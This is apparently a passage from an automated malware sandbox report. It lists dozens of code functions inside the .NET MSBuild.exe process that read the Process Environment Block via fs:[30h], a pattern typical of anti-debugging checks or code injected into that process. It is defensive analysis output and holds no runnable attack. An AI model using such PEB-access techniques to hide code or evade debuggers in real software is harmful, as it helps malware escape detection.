Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014262A0 mov eax, dword ptr fs:[00000030h]	9_2_014262A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014262A0 mov ecx, dword ptr fs:[00000030h]	9_2_014262A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014262A0 mov eax, dword ptr fs:[00000030h]	9_2_014262A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014262A0 mov eax, dword ptr fs:[00000030h]	9_2_014262A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014262A0 mov eax, dword ptr fs:[00000030h]	9_2_014262A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014262A0 mov eax, dword ptr fs:[00000030h]	9_2_014262A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A2C3 mov eax, dword ptr fs:[00000030h]	9_2_0139A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A2C3 mov eax, dword ptr fs:[00000030h]	9_2_0139A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A2C3 mov eax, dword ptr fs:[00000030h]	9_2_0139A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A2C3 mov eax, dword ptr fs:[00000030h]	9_2_0139A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A2C3 mov eax, dword ptr fs:[00000030h]	9_2_0139A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE53E mov eax, dword ptr fs:[00000030h]	9_2_013BE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE53E mov eax, dword ptr fs:[00000030h]	9_2_013BE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE53E mov eax, dword ptr fs:[00000030h]	9_2_013BE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE53E mov eax, dword ptr fs:[00000030h]	9_2_013BE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE53E mov eax, dword ptr fs:[00000030h]	9_2_013BE53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0535 mov eax, dword ptr fs:[00000030h]	9_2_013A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0535 mov eax, dword ptr fs:[00000030h]	9_2_013A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0535 mov eax, dword ptr fs:[00000030h]	9_2_013A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0535 mov eax, dword ptr fs:[00000030h]	9_2_013A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0535 mov eax, dword ptr fs:[00000030h]	9_2_013A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0535 mov eax, dword ptr fs:[00000030h]	9_2_013A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01426500 mov eax, dword ptr fs:[00000030h]	9_2_01426500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01464500 mov eax, dword ptr fs:[00000030h]	9_2_01464500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01464500 mov eax, dword ptr fs:[00000030h]	9_2_01464500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01464500 mov eax, dword ptr fs:[00000030h]	9_2_01464500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01464500 mov eax, dword ptr fs:[00000030h]	9_2_01464500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01464500 mov eax, dword ptr fs:[00000030h]	9_2_01464500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01464500 mov eax, dword ptr fs:[00000030h]	9_2_01464500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01464500 mov eax, dword ptr fs:[00000030h]	9_2_01464500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C656A mov eax, dword ptr fs:[00000030h]	9_2_013C656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C656A mov eax, dword ptr fs:[00000030h]	9_2_013C656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C656A mov eax, dword ptr fs:[00000030h]	9_2_013C656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01398550 mov eax, dword ptr fs:[00000030h]	9_2_01398550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01398550 mov eax, dword ptr fs:[00000030h]	9_2_01398550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B45B1 mov eax, dword ptr fs:[00000030h]	9_2_013B45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B45B1 mov eax, dword ptr fs:[00000030h]	9_2_013B45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE59C mov eax, dword ptr fs:[00000030h]	9_2_013CE59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C4588 mov eax, dword ptr fs:[00000030h]	9_2_013C4588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01392582 mov eax, dword ptr fs:[00000030h]	9_2_01392582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01392582 mov ecx, dword ptr fs:[00000030h]	9_2_01392582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CC5ED mov eax, dword ptr fs:[00000030h]	9_2_013CC5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CC5ED mov eax, dword ptr fs:[00000030h]	9_2_013CC5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013925E0 mov eax, dword ptr fs:[00000030h]	9_2_013925E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE5E7 mov eax, dword ptr fs:[00000030h]	9_2_013BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE5E7 mov eax, dword ptr fs:[00000030h]	9_2_013BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE5E7 mov eax, dword ptr fs:[00000030h]	9_2_013BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE5E7 mov eax, dword ptr fs:[00000030h]	9_2_013BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE5E7 mov eax, dword ptr fs:[00000030h]	9_2_013BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE5E7 mov eax, dword ptr fs:[00000030h]	9_2_013BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE5E7 mov eax, dword ptr fs:[00000030h]	9_2_013BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BE5E7 mov eax, dword ptr fs:[00000030h]	9_2_013BE5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014105A7 mov eax, dword ptr fs:[00000030h]	9_2_014105A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014105A7 mov eax, dword ptr fs:[00000030h]	9_2_014105A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014105A7 mov eax, dword ptr fs:[00000030h]	9_2_014105A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013965D0 mov eax, dword ptr fs:[00000030h]	9_2_013965D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CA5D0 mov eax, dword ptr fs:[00000030h]	9_2_013CA5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CA5D0 mov eax, dword ptr fs:[00000030h]	9_2_013CA5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE5CF mov eax, dword ptr fs:[00000030h]	9_2_013CE5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE5CF mov eax, dword ptr fs:[00000030h]	9_2_013CE5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0144A456 mov eax, dword ptr fs:[00000030h]	9_2_0144A456
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138E420 mov eax, dword ptr fs:[00000030h]	9_2_0138E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138E420 mov eax, dword ptr fs:[00000030h]	9_2_0138E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138E420 mov eax, dword ptr fs:[00000030h]	9_2_0138E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138C427 mov eax, dword ptr fs:[00000030h]	9_2_0138C427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141C460 mov ecx, dword ptr fs:[00000030h]	9_2_0141C460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C8402 mov eax, dword ptr fs:[00000030h]	9_2_013C8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C8402 mov eax, dword ptr fs:[00000030h]	9_2_013C8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C8402 mov eax, dword ptr fs:[00000030h]	9_2_013C8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BA470 mov eax, dword ptr fs:[00000030h]	9_2_013BA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BA470 mov eax, dword ptr fs:[00000030h]	9_2_013BA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BA470 mov eax, dword ptr fs:[00000030h]	9_2_013BA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B245A mov eax, dword ptr fs:[00000030h]	9_2_013B245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01416420 mov eax, dword ptr fs:[00000030h]	9_2_01416420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01416420 mov eax, dword ptr fs:[00000030h]	9_2_01416420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01416420 mov eax, dword ptr fs:[00000030h]	9_2_01416420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01416420 mov eax, dword ptr fs:[00000030h]	9_2_01416420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01416420 mov eax, dword ptr fs:[00000030h]	9_2_01416420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01416420 mov eax, dword ptr fs:[00000030h]	9_2_01416420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01416420 mov eax, dword ptr fs:[00000030h]	9_2_01416420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138645D mov eax, dword ptr fs:[00000030h]	9_2_0138645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE443 mov eax, dword ptr fs:[00000030h]	9_2_013CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE443 mov eax, dword ptr fs:[00000030h]	9_2_013CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE443 mov eax, dword ptr fs:[00000030h]	9_2_013CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE443 mov eax, dword ptr fs:[00000030h]	9_2_013CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE443 mov eax, dword ptr fs:[00000030h]	9_2_013CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE443 mov eax, dword ptr fs:[00000030h]	9_2_013CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE443 mov eax, dword ptr fs:[00000030h]	9_2_013CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE443 mov eax, dword ptr fs:[00000030h]	9_2_013CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C44B0 mov ecx, dword ptr fs:[00000030h]	9_2_013C44B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013964AB mov eax, dword ptr fs:[00000030h]	9_2_013964AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013904E5 mov ecx, dword ptr fs:[00000030h]	9_2_013904E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0144A49A mov eax, dword ptr fs:[00000030h]	9_2_0144A49A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141A4B0 mov eax, dword ptr fs:[00000030h]	9_2_0141A4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C273C mov eax, dword ptr fs:[00000030h]	9_2_013C273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C273C mov ecx, dword ptr fs:[00000030h]	9_2_013C273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C273C mov eax, dword ptr fs:[00000030h]	9_2_013C273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01414755 mov eax, dword ptr fs:[00000030h]	9_2_01414755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CC720 mov eax, dword ptr fs:[00000030h]	9_2_013CC720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CC720 mov eax, dword ptr fs:[00000030h]	9_2_013CC720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141E75D mov eax, dword ptr fs:[00000030h]	9_2_0141E75D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01390710 mov eax, dword ptr fs:[00000030h]	9_2_01390710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C0710 mov eax, dword ptr fs:[00000030h]	9_2_013C0710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CC700 mov eax, dword ptr fs:[00000030h]	9_2_013CC700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01398770 mov eax, dword ptr fs:[00000030h]	9_2_01398770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770 mov eax, dword ptr fs:[00000030h]	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770 mov eax, dword ptr fs:[00000030h]	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770 mov eax, dword ptr fs:[00000030h]	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770 mov eax, dword ptr fs:[00000030h]	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770 mov eax, dword ptr fs:[00000030h]	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770 mov eax, dword ptr fs:[00000030h]	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770 mov eax, dword ptr fs:[00000030h]	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770 mov eax, dword ptr fs:[00000030h]	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770 mov eax, dword ptr fs:[00000030h]	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770 mov eax, dword ptr fs:[00000030h]	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770 mov eax, dword ptr fs:[00000030h]	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770 mov eax, dword ptr fs:[00000030h]	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01390750 mov eax, dword ptr fs:[00000030h]	9_2_01390750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2750 mov eax, dword ptr fs:[00000030h]	9_2_013D2750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2750 mov eax, dword ptr fs:[00000030h]	9_2_013D2750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140C730 mov eax, dword ptr fs:[00000030h]	9_2_0140C730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C674D mov esi, dword ptr fs:[00000030h]	9_2_013C674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C674D mov eax, dword ptr fs:[00000030h]	9_2_013C674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C674D mov eax, dword ptr fs:[00000030h]	9_2_013C674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014107C3 mov eax, dword ptr fs:[00000030h]	9_2_014107C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013907AF mov eax, dword ptr fs:[00000030h]	9_2_013907AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141E7E1 mov eax, dword ptr fs:[00000030h]	9_2_0141E7E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013947FB mov eax, dword ptr fs:[00000030h]	9_2_013947FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013947FB mov eax, dword ptr fs:[00000030h]	9_2_013947FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143678E mov eax, dword ptr fs:[00000030h]	9_2_0143678E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B27ED mov eax, dword ptr fs:[00000030h]	9_2_013B27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B27ED mov eax, dword ptr fs:[00000030h]	9_2_013B27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B27ED mov eax, dword ptr fs:[00000030h]	9_2_013B27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014447A0 mov eax, dword ptr fs:[00000030h]	9_2_014447A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139C7C0 mov eax, dword ptr fs:[00000030h]	9_2_0139C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139262C mov eax, dword ptr fs:[00000030h]	9_2_0139262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C6620 mov eax, dword ptr fs:[00000030h]	9_2_013C6620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C8620 mov eax, dword ptr fs:[00000030h]	9_2_013C8620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AE627 mov eax, dword ptr fs:[00000030h]	9_2_013AE627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2619 mov eax, dword ptr fs:[00000030h]	9_2_013D2619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145866E mov eax, dword ptr fs:[00000030h]	9_2_0145866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145866E mov eax, dword ptr fs:[00000030h]	9_2_0145866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A260B mov eax, dword ptr fs:[00000030h]	9_2_013A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A260B mov eax, dword ptr fs:[00000030h]	9_2_013A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A260B mov eax, dword ptr fs:[00000030h]	9_2_013A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A260B mov eax, dword ptr fs:[00000030h]	9_2_013A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A260B mov eax, dword ptr fs:[00000030h]	9_2_013A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A260B mov eax, dword ptr fs:[00000030h]	9_2_013A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A260B mov eax, dword ptr fs:[00000030h]	9_2_013A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C2674 mov eax, dword ptr fs:[00000030h]	9_2_013C2674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140E609 mov eax, dword ptr fs:[00000030h]	9_2_0140E609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CA660 mov eax, dword ptr fs:[00000030h]	9_2_013CA660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CA660 mov eax, dword ptr fs:[00000030h]	9_2_013CA660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AC640 mov eax, dword ptr fs:[00000030h]	9_2_013AC640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C66B0 mov eax, dword ptr fs:[00000030h]	9_2_013C66B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CC6A6 mov eax, dword ptr fs:[00000030h]	9_2_013CC6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01394690 mov eax, dword ptr fs:[00000030h]	9_2_01394690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01394690 mov eax, dword ptr fs:[00000030h]	9_2_01394690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014106F1 mov eax, dword ptr fs:[00000030h]	9_2_014106F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014106F1 mov eax, dword ptr fs:[00000030h]	9_2_014106F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140E6F2 mov eax, dword ptr fs:[00000030h]	9_2_0140E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140E6F2 mov eax, dword ptr fs:[00000030h]	9_2_0140E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140E6F2 mov eax, dword ptr fs:[00000030h]	9_2_0140E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140E6F2 mov eax, dword ptr fs:[00000030h]	9_2_0140E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CA6C7 mov ebx, dword ptr fs:[00000030h]	9_2_013CA6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CA6C7 mov eax, dword ptr fs:[00000030h]	9_2_013CA6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01464940 mov eax, dword ptr fs:[00000030h]	9_2_01464940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01410946 mov eax, dword ptr fs:[00000030h]	9_2_01410946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01388918 mov eax, dword ptr fs:[00000030h]	9_2_01388918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01388918 mov eax, dword ptr fs:[00000030h]	9_2_01388918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01434978 mov eax, dword ptr fs:[00000030h]	9_2_01434978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01434978 mov eax, dword ptr fs:[00000030h]	9_2_01434978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141C97C mov eax, dword ptr fs:[00000030h]	9_2_0141C97C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140E908 mov eax, dword ptr fs:[00000030h]	9_2_0140E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140E908 mov eax, dword ptr fs:[00000030h]	9_2_0140E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D096E mov eax, dword ptr fs:[00000030h]	9_2_013D096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D096E mov edx, dword ptr fs:[00000030h]	9_2_013D096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D096E mov eax, dword ptr fs:[00000030h]	9_2_013D096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141C912 mov eax, dword ptr fs:[00000030h]	9_2_0141C912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B6962 mov eax, dword ptr fs:[00000030h]	9_2_013B6962
